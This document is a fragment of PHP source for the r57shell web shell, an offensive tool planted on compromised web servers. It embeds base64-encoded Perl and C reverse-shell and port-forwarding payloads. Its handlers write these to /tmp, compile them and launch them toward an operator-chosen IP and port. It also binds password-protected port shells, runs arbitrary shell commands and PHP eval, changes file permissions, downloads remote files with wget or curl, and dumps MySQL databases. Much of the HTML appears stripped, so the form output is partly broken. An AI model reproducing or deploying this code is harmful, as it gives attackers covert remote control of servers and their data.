$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; /* --- END Back connect source PERL ---------------------------------------------------------------------------- */ /* --- Back connect source C ----------------------------------------------------------------------------------- */ $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; /* --- END Back connect source C ------------------------------------------------------------------------------- */ /* --- datapipe.c ---------------------------------------------------------------------------------------------- */ $datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZ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9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm lsZSk7DQogIHJldHVybiAwOw0KfQ=="; /* --- END datapipe.c ------------------------------------------------------------------------------------------ */ /* --- datapipe.pl --------------------------------------------------------------------------------------------- */ $datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oX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0KfQ0KaWYgK CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J 1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; /* --- END datapipe.pl ----------------------------------------------------------------------------------------- */ /*** END base64 ------------------------------------------------------------------------------------------------ */ //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* LOGO + info */ echo $head; echo '
'.ws(1).'  !'.ws(2).'r57shell '.$version.' '; $si = 3; echo ws(2); echo "".date ("d-m-Y H:i:s").""; echo ws(2).$lb." phpinfo ".$rb; echo ws(2).$lb." php.ini ".$rb; echo ws(2).$lb." cpu ".$rb; echo ws(2).$lb." mem ".$rb; echo ws(2).$lb." tmp ".$rb; echo ws(2).$lb." delete ".$rb."
"; echo ws(2); echo (($safe_mode)?("safe_mode: ON"):("safe_mode: OFF")); echo ws(2); echo "PHP version: ".@phpversion().""; $curl_on = @function_exists('curl_version'); echo ws(2); echo "cURL: ".(($curl_on)?("ON (".@curl_version().")"):("OFF")); echo ws(2); echo "MySQL: "; $mysql_on = @function_exists('mysql_connect'); if($mysql_on) { $client_api = @function_exists('mysql_get_client_info') ? @mysql_get_client_info() : ""; echo "ON ($client_api)"; } else { echo "OFF"; } echo "
".ws(2); echo "Disable functions : "; $df = @ini_get('disable_functions'); if(empty($df)) echo "NONE"; else echo "$df"; $free = @diskfreespace($dir); if (!$free) {$free = 0;} $all = @disk_total_space($dir); if (!$all) {$all = 0;} $used = $all-$free; $used_percent = @round(100/($all/$free),2); echo "
".ws(2)."HDD Free : ".view_size($free)." HDD Total : ".view_size($all).""; echo '
'; //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* display information */ echo $font; if(!$windows){ echo 'uname -a :'.ws(1).'
sysctl :'.ws(1).'
$OSTYPE :'.ws(1).'
Server :'.ws(1).'
id :'.ws(1).'
pwd :'.ws(1).'

'; echo "
"; echo ""; $uname = ex('uname -a'); echo((!empty($uname))?(ws(3).@substr($uname,0,120)."
"):(ws(3).@substr(@php_uname(),0,120)."
")); if(!$safe_mode){ $bsd1 = ex('/sbin/sysctl -n kern.ostype'); $bsd2 = ex('/sbin/sysctl -n kern.osrelease'); $lin1 = ex('/sbin/sysctl -n kernel.ostype'); $lin2 = ex('/sbin/sysctl -n kernel.osrelease'); } if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; } else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; } else { $sysctl = "-"; } echo ws(3).$sysctl."
"; echo ws(3).ex('echo $OSTYPE')."
"; echo ws(3).@substr($SERVER_SOFTWARE,0,120)."
"; $id = ex('id'); echo((!empty($id))?(ws(3).$id."
"):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."
")); echo ws(3).$dir; echo "
"; } else { echo 'OS :'.ws(1).'
Server :'.ws(1).'
User :'.ws(1).'
pwd :'.ws(1).'

'; echo "
"; echo ""; echo ws(3).@substr(@php_uname(),0,120)."
"; echo ws(3).@substr($SERVER_SOFTWARE,0,120)."
"; echo ws(3).@get_current_user()."
"; echo ws(3).$dir."
"; echo "
"; } echo ""; echo "
"; if(empty($c1)||empty($c2)) { die(); } $f = '
'; $f = base64_decode($c1); $f .= base64_decode($c2); //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* find text */ if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") { $_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* chmod/chown/chgrp */ if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") { switch($_POST['what']) { case 'own': @chown($_POST['param1'],$_POST['param2']); break; case 'grp': @chgrp($_POST['param1'],$_POST['param2']); break; case 'mod': @chmod($_POST['param1'],intval($_POST['param2'], 8)); break; } $_POST['cmd']=""; } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* make */ if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") { switch($_POST['what']) { case 'file': if($_POST['action'] == "create") { if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; } else { fclose($file); $_POST['e_name'] = $_POST['mk_name']; $_POST['cmd']="edit_file"; echo "
".$lang[$language.'_text61']."
"; } } else if($_POST['action'] == "delete") { if(unlink($_POST['mk_name'])) echo "
".$lang[$language.'_text63']."
"; $_POST['cmd']=""; } break; case 'dir': if($_POST['action'] == "create"){ if(mkdir($_POST['mk_name'])) { $_POST['cmd']=""; echo "
".$lang[$language.'_text62']."
"; } else { echo ce($_POST['mk_name']); $_POST['cmd']=""; } } else if($_POST['action'] == "delete"){ if(rmdir($_POST['mk_name'])) echo "
".$lang[$language.'_text64']."
"; $_POST['cmd']=""; } break; } } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* edit file */ if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file") { if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; } else { echo $table_up3; echo $font; echo "
"; echo ws(3)."".$_POST['e_name'].""; echo "
"; echo ""; echo ""; echo ""; echo (!empty($only_read)?("

".$lang[$language.'_text44']):("

")); echo "
"; echo "
"; echo "
"; echo ""; exit(); } } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* save file */ if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") { if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); } else { @fwrite($file,$_POST['e_text']); @fclose($file); $_POST['cmd']=""; echo "
".$lang[$language.'_text45']."
"; } } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* port bind C */ if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) { cf("/tmp/bd.c",$port_bind_bd_c); $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); @unlink("/tmp/bd.c"); $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); $_POST['cmd']="ps -aux | grep bd"; } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* port bind Perl */ if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) { cf("/tmp/bdpl",$port_bind_bd_pl); $p2=which("perl"); if(empty($p2)) $p2="perl"; $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); $_POST['cmd']="ps -aux | grep bdpl"; } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* back connect Perl */ if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) { cf("/tmp/back",$back_connect); $p2=which("perl"); if(empty($p2)) $p2="perl"; $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* back connect C */ if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) { cf("/tmp/back.c",$back_connect_c); $blah = ex("gcc -o /tmp/backc /tmp/back.c"); @unlink("/tmp/back.c"); $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* datapipe perl */ if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) { cf("/tmp/dp",$datapipe_pl); $p2=which("perl"); if(empty($p2)) $p2="perl"; $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); $_POST['cmd']="ps -aux | grep dp"; } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* datapipe C */ if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) { cf("/tmp/dpc.c",$datapipe_c); $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); @unlink("/tmp/dpc.c"); $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); $_POST['cmd']="ps -aux | grep dpc"; } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* alias execute */ if (!empty($_POST['alias'])) { foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name) {$_POST['cmd']=$alias_cmd;} } } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* file upload */ if (!empty($HTTP_POST_FILES['userfile']['name'])) { if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } else { $nfn = $HTTP_POST_FILES['userfile']['name']; } @copy($HTTP_POST_FILES['userfile']['tmp_name'], $_POST['dir']."/".$nfn) or print("
Error uploading file ".$HTTP_POST_FILES['userfile']['name']."
"); } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* file upload from remote host */ if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) { switch($_POST['with']) { case wget: $p2=which("wget"); if(empty($p2)) $p2="wget"; $_POST['cmd'] = $p2." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; break; case fetch: $p2=which("fetch"); if(empty($p2)) $p2="fetch"; $_POST['cmd']= $p2." -p ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; break; case lynx: $p2=which("lynx"); if(empty($p2)) $p2="lynx"; $_POST['cmd']= $p2." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; break; case links: $p2=which("links"); if(empty($p2)) $p2="links"; $_POST['cmd']= $p2." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; break; case GET: $p2=which("GET"); if(empty($p2)) $p2="GET"; $_POST['cmd']= $p2." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; break; case curl: $p2=which("curl"); if(empty($p2)) $p2="curl"; $_POST['cmd']= $p2." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; break; } } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* command execute */ echo $table_up3; if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); } else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; } echo $font.$lang[$language.'_text1'].": ".$_POST['cmd'].""; echo ""; echo "
"; echo "
"; echo ""; //////// start table echo ""; //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* command execute form */ if(!$safe_mode){ echo ""; echo $table_up1; echo $lang[$language.'_text2']; echo $table_up2; echo $font; echo "".ws(1).$lang[$language.'_text3'].$arrow.ws(4).""; echo "".ws(2)."
"; echo "".ws(1).$lang[$language.'_text4'].$arrow.ws(4).""; echo ""; echo ws(1).""; echo ""; echo $table_end1; echo ""; } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* safe_mode form */ if($safe_mode){ echo ""; echo $table_up1; echo $lang[$language.'_text28']; echo $table_up2; echo $font; // dir echo "".ws(1).$lang[$language.'_text4'].$arrow.ws(4).""; echo ""; echo ""; echo ws(1).""; echo ""; echo "".ws(9).$lang[$language.'_text30'].$arrow.ws(4).""; echo ""; echo ""; echo ""; echo ws(1).""; echo $table_end1; echo ""; } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* edit_file form */ echo ""; echo $table_up1; echo $lang[$language.'_text42']; echo $table_up2; // dir echo $font; echo "".$lang[$language.'_text43'].$arrow.ws(4).""; echo ""; echo ""; echo ""; echo ws(1).""; echo ""; echo $table_end1; echo ""; //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* mk/del dir/file form */ if($safe_mode){ echo ""; echo $table_up1; echo $lang[$language.'_text57']; echo $table_up2; // dir echo $font; echo ws(24)."".$lang[$language.'_text58'].$arrow.ws(4).""; echo ""; echo ws(2).""; echo ws(2).""; echo ""; echo ""; echo ws(1).""; echo ""; echo $table_end1; echo ""; } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* change perm form */ if($safe_mode && $unix){ echo ""; echo $table_up1; echo $lang[$language.'_text67']; echo $table_up2; // dir echo $font; echo ws(14)."".$lang[$language.'_text69'].$arrow.ws(4).""; echo ""; echo ws(2)."".$lang[$language.'_text70'].$arrow.ws(4).""; echo "
"; echo ""; echo ""; echo ws(15)."".$lang[$language.'_text68'].$arrow.ws(4).""; echo ws(2).""; echo ws(87).""; echo ""; echo $table_end1; echo ""; } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* aliases form */ if(!$safe_mode){ echo ""; echo $table_up1; echo $lang[$language.'_text7']; echo $table_up2; echo $font; echo "".ws(9).$lang[$language.'_text8'].$arrow.ws(4).""; echo ""; echo ""; echo ws(1).""; echo ""; echo $table_end1; echo ""; } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* search text form */ echo ""; echo $table_up1; echo $lang[$language.'_text54']; echo $table_up2; echo $font; echo ws(5)."".$lang[$language.'_text52'].$arrow.ws(4).""; echo "
"; echo ws(8)."".$lang[$language.'_text53'].$arrow.ws(4).""; echo " * ( /root;/home;/tmp )
"; echo ws(5)."".$lang[$language.'_text55'].$arrow.ws(4).""; echo ""; echo " * ( .txt;.php;.htm )"; echo ""; echo ""; echo ws(1)."
"; echo ""; echo $table_end1; echo ""; //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* search text with find form */ echo ""; echo $table_up1; echo $lang[$language.'_text76']; echo $table_up2; echo $font; echo ws(5)."".$lang[$language.'_text72'].$arrow.ws(4).""; echo "
"; echo ws(8)."".$lang[$language.'_text73'].$arrow.ws(4).""; echo " * ( /root;/home;/tmp )
"; echo ws(6)."".$lang[$language.'_text74'].$arrow.ws(4).""; echo "".ws(1).$lang[$language.'_text75']; echo ""; echo ""; echo ws(1)."
"; echo ""; echo $table_end1; echo ""; //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* php eval form */ echo ""; echo $table_up1; echo $lang[$language.'_text32']; echo $table_up2; echo $font; echo "
"; echo ""; echo ""; echo "
".ws(1).""; echo ""; echo $table_end1; echo ""; //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* php safe_mode break test 1 form */ if($safe_mode&&$curl_on) { echo "
"; echo $table_up1; echo $lang[$language.'_text33']; echo $table_up2; echo $font; echo "".ws(9).$lang[$language.'_text30'].$arrow.ws(4).""; echo ""; echo ""; echo ""; echo ws(1).""; echo ""; echo $table_end1; echo ""; } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* php safe_mode break test 2 form */ if($safe_mode) { echo "
"; echo $table_up1; echo $lang[$language.'_text34']; echo $table_up2; echo $font; echo "".ws(9).$lang[$language.'_text30'].$arrow.ws(4).""; echo ""; echo ""; echo ""; echo ws(1).""; echo ""; echo $table_end1; echo ""; } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* php safe_mode break test 3 form */ if($safe_mode&&$mysql_on) { echo "
"; echo $table_up1; echo $lang[$language.'_text35']; echo $table_up2; echo $font; echo "".ws(27).$lang[$language.'_text36'].$arrow.ws(4).""; echo ""; echo "".ws(13).$lang[$language.'_text37'].$arrow.ws(4).""; echo ""; echo "".ws(12).$lang[$language.'_text38'].$arrow.ws(4).""; echo ""; echo "
".ws(9).$lang[$language.'_text30'].$arrow.ws(4).""; echo ""; echo ""; echo ""; echo ws(1).""; echo ""; echo $table_end1; echo ""; } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* file upload form */ echo "
"; echo $table_up1; echo $lang[$language.'_text5']; echo $table_up2; echo $font; echo "".ws(7).$lang[$language.'_text6'].$arrow.ws(4).""; echo " "; echo "
".ws(20).$lang[$language.'_text21'].$arrow.ws(4).""; echo "".ws(1); echo ""; echo ""; echo ""; echo $table_end1; echo ""; //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* file upload from remote host form */ if(!$safe_mode&&!$windows){ echo "
"; echo $table_up1; echo $lang[$language.'_text15']; echo $table_up2; echo $font; echo "".ws(13).$lang[$language.'_text16'].$arrow.ws(4).""; echo " 
"; echo "".ws(7).$lang[$language.'_text17'].$arrow.ws(4).""; echo "".ws(2)."
"; echo "".ws(7).$lang[$language.'_text18'].$arrow.ws(4).""; echo "".ws(1); echo ""; echo ""; echo ""; echo $table_end1; echo ""; } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /* mysql dump form */ if($mysql_on) { echo "
"; echo $table_up1; echo $lang[$language.'_text40']; echo $table_up2; echo $font; echo "".ws(27).$lang[$language.'_text36'].$arrow.ws(4).""; echo ""; echo "".ws(4).$lang[$language.'_text39'].$arrow.ws(4).""; echo ""; echo "".ws(4).$lang[$language.'_text37'].$arrow.ws(4).""; echo ""; echo "".ws(4).$lang[$language.'_text38'].$arrow.ws(1).""; echo ""; echo ""; echo ""; echo "
